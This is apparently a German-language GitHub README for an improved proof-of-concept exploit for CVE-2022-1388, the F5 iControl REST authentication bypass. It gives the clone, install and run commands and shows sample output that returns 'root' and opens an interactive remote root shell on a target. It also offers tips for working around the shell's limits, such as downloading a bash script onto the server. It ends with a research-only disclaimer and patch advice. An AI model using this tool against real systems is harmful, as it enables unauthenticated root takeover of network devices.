
Ein verbessertes Proof-of-Concept für CVE-2022-1388 mit einer interaktiven Shell
Verbesserter PoC für CVE-2022-1388, der mehrere F5-Produkte betrifft.
Dies ist eine verbesserte Version des Proof of Concept von Horizon3 für CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Diese Version enthält mehrere Verbesserungen sowie eine interaktive Shell zum Ausführen von Remote-Befehlen.
Die technische Ursachenanalyse der Schwachstelle von Horizon3 finden Sie in ihrem Blog: https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Notwendige Bedingungen einer Anfrage zur Ausnutzung dieser Schwachstelle:
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Erfordert keine Reverse-TCP-Verbindungen oder Listener.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Bitte beachten Sie, dass beim Ausführen der interaktiven Shell auf einem nicht gepatchten System bestimmte Befehle und Syntaxen möglicherweise nicht funktionieren oder nicht das erwartete Ergebnis liefern. Dies liegt wahrscheinlich an der Verwendung von JSON in Server-API-Anfragen und -Antworten. Um Probleme zu vermeiden, versuchen Sie, bei der Verwendung der interaktiven Shell keine einzelnen Zeichen zu verwenden, die in der JSON-Syntax üblich sind, wie Doppelpunkte, Kommas, geschweifte Klammern, eckige Klammern und insbesondere Anführungszeichen. Jede JSON-Syntax innerhalb eines Befehls sollte strukturiert im Format angegeben werden.
Die Verwendung einer unstrukturierten JSON-Syntax in einem Befehl kann zu einer fehlerhaften API-Anfrage an den Server führen und dazu, dass Sie keine Befehlsausgabe erhalten, nichts ausgeführt wird oder Sie vollständig aus dem Python-Skript geworfen werden. Dies macht leider einige Befehle unbrauchbar. Um dieses Problem zu umgehen, können Sie stattdessen ein Bash-Skript schreiben, es auf den Server herunterladen und es mit der interaktiven Shell ausführen. Es ist auch nicht möglich, mit dem Befehl 'cd' die Verzeichnisse zu wechseln.
In jedem Fall sollten Sie dennoch in der Lage sein, grundlegende Befehlsausgaben zu erhalten. Wenn Sie keine Befehlsausgabe erhalten, bedeutet das nicht, dass der Befehl nicht ausgeführt wurde. Das müssen Sie jedoch durch eigene Analyse herausfinden.
Aktualisieren Sie auf die neueste Version oder ergreifen Sie Gegenmaßnahmen, indem Sie den Anweisungen im F5 Security Advisory folgen.
Diese Software wurde ausschließlich für Zwecke der akademischen Forschung und für die Entwicklung effektiver Verteidigungstechniken erstellt und ist nicht dazu bestimmt, Systeme anzugreifen, außer wenn dies ausdrücklich genehmigt wurde. Die Projektbetreuer sind nicht verantwortlich oder haftbar für Missbrauch der Software. Verwenden Sie sie verantwortungsvoll.